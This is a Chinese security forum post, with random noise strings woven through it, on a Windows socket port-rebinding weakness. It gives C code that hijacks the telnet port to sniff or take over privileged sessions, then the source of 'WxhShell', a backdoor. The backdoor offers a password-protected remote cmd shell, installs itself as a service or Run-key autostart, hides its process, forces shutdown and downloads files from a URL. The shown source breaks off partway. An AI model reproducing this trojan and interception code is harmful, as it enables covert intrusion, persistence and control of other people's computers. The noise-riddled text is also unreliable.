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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \9j +ejGf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d$qivct f]%:.N~1w saddr.sin_family = AF_INET; =jXBF. jYDpJ##Zb saddr.sin_addr.s_addr = htonl(INADDR_ANY); q{T[|(! h|qTMwPr bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @yp#k> L/\s~*:M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ])F*)U *?bOH5$@Nw 这意味着什么?意味着可以进行如下的攻击: >G7dw1; E/[>#%@i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q@k/"ee*? }z%fQbw 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tQ =3Oa[u 'EzKu~* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'KvSI=$ prtNfwJz1j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 m31l[e O|%03q( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x*>@knP<- Qw>~]d,Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c12mT(+- NxY B)`~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %8Eu{3 @^P<(%p
#include pmda9V4 #include 6Qtyv #include jW]Q- #include BoJpf8e'-e DWORD WINAPI ClientThread(LPVOID lpParam); bu0i# int main() zF:
:?L~ { M%&1j >d WORD wVersionRequested; EzII!0 F DWORD ret; 0?V{u`* WSADATA wsaData; 'q>2WP|UY9 BOOL val; 7R5m|h`M SOCKADDR_IN saddr; a]H&k$!c SOCKADDR_IN scaddr; ob3)bI oM int err; _[)f<`!g_V SOCKET s; Hk&op P9) SOCKET sc; |D*a"*1+A int caddsize; wrP3:!= HANDLE mt; aSse'
C<a DWORD tid; 74_':,u;]~ wVersionRequested = MAKEWORD( 2, 2 ); }%75Wety err = WSAStartup( wVersionRequested, &wsaData ); z)%Ke~)<\@ if ( err != 0 ) { mD5Vsy{Pb printf("error!WSAStartup failed!\n"); ]{Y7mpdB return -1; 3+[; } ~8JOPzK saddr.sin_family = AF_INET; '=AqC,\# "L4ZE4|) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %CoO-1@C )FQxVT,. saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z}BuR*WSY{ saddr.sin_port = htons(23); K<wg-JgA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &/m0N\n?
{ "+XF'ZO printf("error!socket failed!\n"); kz0pX-@b return -1; #~}4< 18 } m@Hg:DY val = TRUE; O0l1AX" //SO_REUSEADDR选项就是可以实现端口重绑定的 hy&WG&qf if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C6"{-{H { d9iVuw0u< printf("error!setsockopt failed!\n"); [n]C return -1; ]hMs:$} } g3|k- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~"J7=u1o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kxQ al //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Xr."C(`w jXPf}{^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -,186ZVZ { cqYMzS
t ret=GetLastError(); ^O.` P printf("error!bind failed!\n"); 4V<.:.k return -1; 9y'To JZ6 } _|r/*(hh listen(s,2); Y sDai< while(1) %y)]Q| { A&N$=9.N1 caddsize = sizeof(scaddr); GvzaLEo //接受连接请求 B/Js>R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0VnRtLnqI if(sc!=INVALID_SOCKET) ZAJ~Tbm[f { b{BiC&3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V=gu'~ if(mt==NULL) ;.66phe { dvE~EZcS printf("Thread Creat Failed!\n"); aH7@:=B break; G>edJPfQ } QsX`IYk } :jAsm[ CloseHandle(mt); :FUxe kz } z? Iu;X closesocket(s); s
.@S zq WSACleanup(); v65]$%F? return 0; lFp : F5 } XL/V>`E@ DWORD WINAPI ClientThread(LPVOID lpParam) FwE<_hq// { v4qpE!W27~ SOCKET ss = (SOCKET)lpParam; #/"Tb^c9 SOCKET sc; C>Q|"Vf2 unsigned char buf[4096]; WN $KS"b6} SOCKADDR_IN saddr; V~_6t{L long num; Alv"D DWORD val; c!kz wc( DWORD ret; %x./>-[t //如果是隐藏端口应用的话,可以在此处加一些判断 00LL&ot //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 tUksIUYD\ saddr.sin_family = AF_INET; Cp?6vu|RA saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >u\'k+= saddr.sin_port = htons(23); >Qqxn*O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !'C8sNs { n5 <B* printf("error!socket failed!\n"); ]k$:sX return -1; gj7'43
?W } 8Ow#W5_3| val = 100; Jt:)(&-t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _VB;fH$ { 4j}.=u* X7 ret = GetLastError(); 1@N4Y9o return -1; BXNC(^ } bw)E;1zo if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vjVa),2 { 3!h 3flE ret = GetLastError(); +W/{UddeKU return -1; TtrV
-X>L } .E9$j<SP- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cj4o[l { _aU
:[v*!
printf("error!socket connect failed!\n"); hltUf5m'b closesocket(sc); fo=@ X>S closesocket(ss); pxI[/vS
N return -1; BM9:|}\J65 } (tF/2cZk while(1) RWB]uHzE { 5s%FHa //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2J Wp5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 /!_FE+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J|@O4g num = recv(ss,buf,4096,0); )h]tKYx if(num>0) /uPMzl send(sc,buf,num,0); #3O$B*gV6 else if(num==0) &gP1=P,! break; YkQ=rurE num = recv(sc,buf,4096,0); 9 ge'Mo if(num>0) |fb*<o eT send(ss,buf,num,0); *&5./WEOH else if(num==0) E*yot[kj break; k!T-X2L= } g2vt(Gf ; closesocket(ss); mC$ te closesocket(sc); ?es9j] return 0 ; @.=2*e.z|b } VrKLEN\ 8/}S/$ t Kjk< ========================================================== uG/b Cb+V ;xSlRTNT=6 下边附上一个代码,,WXhSHELL ug/P>0 MM~4D ========================================================== %C)|fDwN l xP!WP #include "stdafx.h" {M23a
_t\ MnQ 6 !1Z #include <stdio.h> CHdYY7\{ #include <string.h> ;p"#ZS7 #include <windows.h> -5\.\L3y) #include <winsock2.h> ()fYhk|W #include <winsvc.h> ?QcS$i #include <urlmon.h> IFXn GDG$ _AiGD #pragma comment (lib, "Ws2_32.lib") >p3S,2SM #pragma comment (lib, "urlmon.lib") orEb+ o{7w&Pgs2 #define MAX_USER 100 // 最大客户端连接数 cr!s q.)s #define BUF_SOCK 200 // sock buffer j[=P3Z0q #define KEY_BUFF 255 // 输入 buffer F3nPQw{; "77l~3 #define REBOOT 0 // 重启 9x14I2 #define SHUTDOWN 1 // 关机 s{fL~}Yz ai)?RF #define DEF_PORT 5000 // 监听端口 lC^?Jk[N `J}FSUn\ #define REG_LEN 16 // 注册表键长度 (DM8PtZg #define SVC_LEN 80 // NT服务名长度 d 8z9_C- _2<k,Dl;RY // 从dll定义API P!/:yWd typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UFE~6"t( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I^QB`%v5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %"3tGi:/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ++}#pl8e LfsOGC // wxhshell配置信息 b~+\\,q} struct WSCFG { 2!a~YT int ws_port; // 监听端口 ([ hd char ws_passstr[REG_LEN]; // 口令 |H8UT SX+ int ws_autoins; // 安装标记, 1=yes 0=no qjR p5 char ws_regname[REG_LEN]; // 注册表键名 =V^8RlBi char ws_svcname[REG_LEN]; // 服务名 0[s<!k9= char ws_svcdisp[SVC_LEN]; // 服务显示名 D|8h^*Ya char ws_svcdesc[SVC_LEN]; // 服务描述信息 z.:IUm{z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !Mk]% int ws_downexe; // 下载执行标记, 1=yes 0=no EkP(]F char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" &^ =Y76 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (XQl2C >&|/4`HSB }; p{JE@TM 3UGdXufw // default Wxhshell configuration p|=0EWo4U struct WSCFG wscfg={DEF_PORT, WoWBZ;+U "xuhuanlingzhe", =!2(7Nr 1, 84-7!< 6i "Wxhshell", -axmfE?g0 "Wxhshell", j,g.Eo "WxhShell Service", E"%G@,|3* "Wrsky Windows CmdShell Service", -\~x^5K "Please Input Your Password: ", v?4MndR 1, j`"cU$NRM " http://www.wrsky.com/wxhshell.exe", _MGhG{p7t "Wxhshell.exe" D?cE$P }; |R>I#NO5
EJO6k1 // 消息定义模块 bhT:MW! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nIqmora char *msg_ws_prompt="\n\r? for help\n\r#>"; K9UWyM<(2C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :sekMNM char *msg_ws_ext="\n\rExit."; >c@1UEwkm char *msg_ws_end="\n\rQuit."; y7#vH< char *msg_ws_boot="\n\rReboot..."; mr`EcO0 char *msg_ws_poff="\n\rShutdown..."; zC$(/nZ
char *msg_ws_down="\n\rSave to "; N:rnH:g+: 12yX`9h> char *msg_ws_err="\n\rErr!"; 2aGK}sS6 char *msg_ws_ok="\n\rOK!"; d#nKTqSg <k2]GI-}h char ExeFile[MAX_PATH]; t/:]\|]WB int nUser = 0; 51x)fZQ HANDLE handles[MAX_USER]; Edav }z int OsIsNt; AY%Y,<a Og<UW^VR SERVICE_STATUS serviceStatus; ,xIWyI. SERVICE_STATUS_HANDLE hServiceStatusHandle; 3.I:`>;EO s&WHKCb // 函数声明 RLbxNn int Install(void); $.r: int Uninstall(void); .cm$*>LW:x int DownloadFile(char *sURL, SOCKET wsh); 2aO.t int Boot(int flag); Hh.l,Z7i7D void HideProc(void); [y$sJF7;I int GetOsVer(void); TfqQh!Y int Wxhshell(SOCKET wsl); NpY zN|W: void TalkWithClient(void *cs); eMDraJv@ int CmdShell(SOCKET sock); vh^,8pPy int StartFromService(void); {KalVZX2R int StartWxhshell(LPSTR lpCmdLine); fwi(qx1=} EXYr_$gRs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zae$M0) VOID WINAPI NTServiceHandler( DWORD fdwControl ); HWT^u$a" k
M' :.QT // 数据结构和表定义 E:ocx2dp SERVICE_TABLE_ENTRY DispatchTable[] = =
eDi8A*~ { ]Syr{| {wscfg.ws_svcname, NTServiceMain}, AIFI@#3 {NULL, NULL} 6'qC *r }; m%km@G$ >~k"C,6 // 自我安装 YV>]c9!q int Install(void) V3$Yr"rZ; { IPT\d^|f char svExeFile[MAX_PATH]; .`K<Iug1 HKEY key; |Ptv)D strcpy(svExeFile,ExeFile); [.NG~ cpb [Dq!t1 // 如果是win9x系统,修改注册表设为自启动 Qtpw0t" if(!OsIsNt) { DZ Q=Sinry if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ljjuf=] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BSB;0O M RegCloseKey(key); G\ht)7SGgf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~1v5H]T{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K=82fF(- RegCloseKey(key); Sq,x57- return 0; Cl5l+I\1 } &I$MV5)u } !nkjp[p } 3@/\j^U else { 3KW4 ]qo~ gK8{ =A0c // 如果是NT以上系统,安装为系统服务 X]OVc<F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xMu[#\Vc if (schSCManager!=0) '{?7\+o.x { 69$[yt>KYz SC_HANDLE schService = CreateService %Z=%E!* ( ==\Qj{
7` schSCManager, e$3{URg wscfg.ws_svcname, ]e+88eQ wscfg.ws_svcdisp, C.[abpc SERVICE_ALL_ACCESS, @Js^=G2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , af<R. SERVICE_AUTO_START, (/r l\I SERVICE_ERROR_NORMAL, lU[" ZFP svExeFile, O+^l>+ZGj? NULL, cn$o$:tW NULL, RHc-kggk! NULL, +(-L NULL, ZCAdCKX| NULL d/O~"d ); YxUC.2V|7$ if (schService!=0) (93+b%^[ {
z"n7du}v CloseServiceHandle(schService); V6C*d: CloseServiceHandle(schSCManager); =x/Ap1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %|:Gn) 8 strcat(svExeFile,wscfg.ws_svcname); OJGEX}3' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D 1Q@4
g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TUQ+?[ RegCloseKey(key); #Jo#[-r return 0; uoM;p' } ;ctJ9"_g } 1webk;IM CloseServiceHandle(schSCManager); ST#MCh-00 } + S^OzCGk } 0 xUw}T6 O#g'4 S return 1; mu[:b } msyC."j0jU .I"Qu:`` // 自我卸载 W'BB FG int Uninstall(void) .m&JRzzV
{ bZE;}d HKEY key; vjcG
F'- NT6OGBl& if(!OsIsNt) { 1gwnG& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S~9K'\vO RegDeleteValue(key,wscfg.ws_regname); 3:Mq40]x RegCloseKey(key); w@&4dau if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Stkyz:,( RegDeleteValue(key,wscfg.ws_regname); Ca&5"aki RegCloseKey(key); iz&$q]P8 return 0; avmuI^LLs } S4m??B } L"|~,SVF } jIMT&5k else { K/,y"DUN& *f[nge&. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G^`IfF-j if (schSCManager!=0) kPm{ tc
{ ETw7/S${ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hGPo{>xR if (schService!=0) J3F-Yl| { LyaFWx if(DeleteService(schService)!=0) { aL9yNj}2 CloseServiceHandle(schService); 4$);x/
a CloseServiceHandle(schSCManager); 7hs1S| return 0; b?p <y` } X0\2q D CloseServiceHandle(schService); -bN;nSgb } )"W(0M]> CloseServiceHandle(schSCManager); Z r}5)ZR. } qgT~yDm } CEwMPPYnD |,3>A@ return 1; TSGJ2u5ie% } `UC
#Sxk[[KwH* // 从指定url下载文件 cjf 8N:4N0 int DownloadFile(char *sURL, SOCKET wsh) .l| [e { 66P'87G HRESULT hr; #y<KO`Es char seps[]= "/"; iYqZBLf{S char *token; kYlsjM char *file; 0pO{ {F char myURL[MAX_PATH]; $>PXX32 char myFILE[MAX_PATH]; qqL :#]lV5 #JmVq-) strcpy(myURL,sURL); CFm(
yFk token=strtok(myURL,seps); q&/<~RC* while(token!=NULL) >UUcKq1M: { pO^PkX file=token; Z*+0gJ<Y token=strtok(NULL,seps); i`m&X6)\j } JHxy_<p/ 4pvT?s>68 GetCurrentDirectory(MAX_PATH,myFILE); z n,y'}, strcat(myFILE, "\\"); )\
`AD# strcat(myFILE, file); y /$Q5P+o send(wsh,myFILE,strlen(myFILE),0); 'qL:7 send(wsh,"...",3,0); /$Qs1* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ))/NGa if(hr==S_OK) (=2-*((&(A return 0; W'|NYw_B else :]Nn(}, return 1; :%6OFO$z eb6Ux } -6Y@_N m\4V;F // 系统电源模块 ;Y6XX_ int Boot(int flag) nx
{ GI+x,p HANDLE hToken; 6:fHPlqW TOKEN_PRIVILEGES tkp; 7Ei,L[{\i# ^tMb"WO if(OsIsNt) { InO;DA\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !"v[\||1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Re=()M tkp.PrivilegeCount = 1; 9J3@8h p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4YuJ - AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %^bHQB% if(flag==REBOOT) { FAkrM?0/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) / [s TN.MG return 0; YFJw<5& } oZD+AF$R else { hTEwp. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j*.K|77WHj return 0; O'm5k l } &z;bX-"E } TANv)&,|9 else { i;flK*HOZ9 if(flag==REBOOT) { -w dbH`2Z" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ty"|yA return 0; r}**^"mFy } Qe[ejj1o: else { H*m3i;"4p\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -wh?9?W return 0; h SeXxSb: } ?*zDsQ } l&/V4V- J~]Y return 1; |)+ s, LT5 } tJM#/yT "t.Jv%0= // win9x进程隐藏模块 HzMr void HideProc(void) 9{GEq@`7 { |erG cKk %(uYYr
6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xekU2u}WE if ( hKernel != NULL ) jIL+^{K< { &KYPi'C9!z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (#c|San
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5K:'VX FreeLibrary(hKernel); .E:3I!dH7 } gW5yLb_Vz$ #n7F7X return; zA>LrtyK(= } 2zV{I* =*5< w // 获取操作系统版本 y+aKk6(_W int GetOsVer(void) [n2+`A { ~Ydm"G OSVERSIONINFO winfo; f:K>o. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
mo?*nO|- GetVersionEx(&winfo);
Ki\\yK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3'7] jj return 1; 8.!+Hm4 else Ud_7>P$a return 0; /h7uE } ~.<QC<dN kSpy-bVn // 客户端句柄模块 h6Q~Di int Wxhshell(SOCKET wsl) AI^!?nJ%' { cBD#F$K2 SOCKET wsh; =h@t#-Z" struct sockaddr_in client; 7BS5Eq B= DWORD myID; `53S[8 q$;j1X^ while(nUser<MAX_USER) sXi~cfFaE { 'ln
o# int nSize=sizeof(client); z:ZXdB)L) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r j.X" if(wsh==INVALID_SOCKET) return 1; LPeVr^ [v+5|twxpU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l;SXR <EU if(handles[nUser]==0) I7#^'/ closesocket(wsh); 3xz|d`A else *EwDwS$$ nUser++; .k-t5d } Xw#"?B(M] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GJ{XlH I&6M{,rnM return 0; r;9 V7C } {4$aA* DDq?4 // 关闭 socket i-}Tt<^ void CloseIt(SOCKET wsh) TILH[r&Jg { JvsL]yRT closesocket(wsh); }BUm}.-{u, nUser--; RW<10: ExitThread(0); 4?fpk9c{2 } O I0N(V Q Hr'r/0 // 客户端请求句柄 1l'JoU.<
void TalkWithClient(void *cs) o%,?v
9 { y`i?Qo3 >WA'/Sl<A< SOCKET wsh=(SOCKET)cs; m1e Sn |)7 char pwd[SVC_LEN]; )<f4F!?,A char cmd[KEY_BUFF]; gN2oUbf8 char chr[1]; t2iQ[`/?~ int i,j; ~"\WV4}`v #~m8zG while (nUser < MAX_USER) { |)C
# H_JE)a:+ if(wscfg.ws_passstr) { !' 0PM[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [C/{ ru&E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g t9(5p //ZeroMemory(pwd,KEY_BUFF); #+N_wIP4 i=0; NM9,AG while(i<SVC_LEN) { ify48] }[=)sb_ // 设置超时 ULhXyItL fd_set FdRead; BIS ., struct timeval TimeOut; Fi'ZId FD_ZERO(&FdRead); jz~#K;3=, FD_SET(wsh,&FdRead); |2=@8_am TimeOut.tv_sec=8; |@~_&g TimeOut.tv_usec=0; )Ii`/I^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >& 4) : if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eyz.^)r )4h|7^6ji if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A.mFa1lH pwd =chr[0]; !x:{" if(chr[0]==0xd || chr[0]==0xa) { OFBEJacy pwd=0; }.pqV
X{d break; PhPe7^ } cs7^#/3< i++; 2$MoKOx8$ } &Z3%UOY 8f1M6GK? // 如果是非法用户,关闭 socket Bd 0oA
)i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kBLFK3i } 6"o=`Sq c&P/v#U_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *p=enflU
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M7T*J>i }]#z0'Aqsu while(1) { en/ h`h]h g\?v 5 ZeroMemory(cmd,KEY_BUFF); Lyf5Yf([- t%G.i@{pkp // 自动支持客户端 telnet标准 Uf|uFGb j=0; )o~/yB7 while(j<KEY_BUFF) { $f _C~O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9XYm8g'X cmd[j]=chr[0]; ce#Iu#qT if(chr[0]==0xa || chr[0]==0xd) { 3~7!=s\v cmd[j]=0; EJ>rW(s break; @/?i|!6 } b`$qKO j++; B'Jf&v } 4:S]n19nq &ds+9A
// 下载文件 xJAQ'ANr if(strstr(cmd,"http://")) { kI9I{ &J& send(wsh,msg_ws_down,strlen(msg_ws_down),0); }!{R;,5/n if(DownloadFile(cmd,wsh)) \<(EV,m2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$XEazUb0N else :4-,Ru1C" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t#@z_Mn\ } +ue1+# else { ',xUU{5? .>#O'Z&q9 switch(cmd[0]) { gOe!GnO M)!"R [V // 帮助 $./aKJ1B case '?': { 9r+'DX?> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ww60-d}}Q break; ~;]kqYIJ } :.-z! // 安装 vK@UK"m case 'i': { RD"-(T if(Install()) }:{9!RMO send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c<8;,cjYR else #;~HoOK*# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dt@c,McN|Q break; EPH
n"YK } _Y;tD // 卸载 +v
3:\# case 'r': { :N _]*> if(Uninstall()) {| hg3R~A send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~##FW|N) else h@NC#Iod send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SepwMB4@ break; bEj}J_# } \?R#ZxP@ // 显示 wxhshell 所在路径 EnlAgL']| case 'p': { :H3/+/x char svExeFile[MAX_PATH]; i0$*):b strcpy(svExeFile,"\n\r"); /hu>MZ(\ strcat(svExeFile,ExeFile); \QC{38} send(wsh,svExeFile,strlen(svExeFile),0); g hmn3 break; =f
y|Dm74 } &PRoT#, // 重启 J,) ytw] case 'b': { [|1I.AZ{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aQ$sn<-l if(Boot(REBOOT)) xSd&xwP send(wsh,msg_ws_err,strlen(msg_ws_err),0); BCe'J! else { ^Z#G_%\Y: closesocket(wsh); \u{4=-C. ExitThread(0); u>.a; BO } G 3,v'D5 break; #"KC29!Yj } !hZ:
\&V // 关机 \Z3K ~ case 'd': { d8vf
kVB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eK
l;T if(Boot(SHUTDOWN)) 3m!tb) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5v)bs\x6 else { o
?vGI= closesocket(wsh); pXl[I; ExitThread(0); &l7E|.JE } 0y,w\'j break; 5 | , b } I/tMFg // 获取shell ap )B%9 case 's': { Uzzm2OS` CmdShell(wsh); s$>n U closesocket(wsh); <^Vj1s ExitThread(0); YIg43Av break; z8ZQL.z%h } PBb&.< // 退出 9/29>K_ case 'x': { PjEJC@n send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1J"9Y81 CloseIt(wsh); g assOd break; b{
x lW }S } s+lBai*# // 离开 B8T$< case 'q': { |mQ Fi\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); $U]T8;5Q closesocket(wsh); #DFi-o&- WSACleanup(); &H;,,7u exit(1); =oSd M2 break; K us=.( } $\h-F8|JMX } ap}p?r } nS%jnp# 2L 1,; // 提示信息 c#}K,joeU if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q l)hIf$Oo } i m;6$3 } !Yb !Au[ 8i`>],,ch return; ( ~5M{Xh } BNNM$.ZIQ 1Y'4 g3T // shell模块句柄 i)|jLrW~e int CmdShell(SOCKET sock) R*D<M3 { }l7+W4~ STARTUPINFO si; rl%,9JD! ZeroMemory(&si,sizeof(si)); PmE)FthdP( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G$i)ELs si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 950N\Y@u PROCESS_INFORMATION ProcessInfo; %|(c?`2| char cmdline[]="cmd";
< v] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p
4>ThpX return 0; 70c]|5 } zk8)!Af {s0%XG1$ // 自身启动模式 Y\-xX:n.\ int StartFromService(void) UrvUt$WO { dz9U.:C typedef struct TSP%5v;Dh { mg'q-G`\< DWORD ExitStatus; VjM3M<!g>M DWORD PebBaseAddress; hHE~/U DWORD AffinityMask; h.>SVQzU DWORD BasePriority; ,\\ba_*z ULONG UniqueProcessId; ~Xxmj!nOf ULONG InheritedFromUniqueProcessId; #%p44%W } PROCESS_BASIC_INFORMATION; c,2& -T} Lkm-< PROCNTQSIP NtQueryInformationProcess; =WY'n
l' 1z-.e$&z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o?Hfxp0} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +;q\7* ResU5Ce~ HANDLE hProcess; _ Ncbo#G PROCESS_BASIC_INFORMATION pbi; sh$-}1 ; H>EM3cFU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vAUt~X" if(NULL == hInst ) return 0; SO0\d0?u $~G,T
